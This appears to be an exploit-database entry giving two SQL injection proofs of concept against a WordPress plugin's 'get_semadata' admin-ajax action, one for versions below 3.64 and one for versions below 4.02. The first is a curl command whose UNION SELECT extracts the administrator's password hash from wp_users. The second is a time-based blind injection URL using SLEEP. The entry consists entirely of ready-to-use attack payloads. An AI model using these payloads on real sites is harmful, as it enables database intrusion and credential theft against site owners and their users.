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## https://sploitus.com/exploit?id=WPEX-ID:2A226AE8-7D9C-4F47-90AF-8A399A08F03F
v < 3.64:
curl http://example.com/wp-admin/admin-ajax.php --data 'action=get_semadata&type=attributes&catid=-3 UNION ALL SELECT 1,2,3,(SELECT user_pass FROM wp_users WHERE ID = 1),5-- -'

v < 4.02
https://example.com/wp-admin/admin-ajax.php?action=get_semadata&type=deleteattribute&catid=1&attrids=1%29 AND %28SELECT 42 FROM %28SELECT%28SLEEP%285%29%29%29b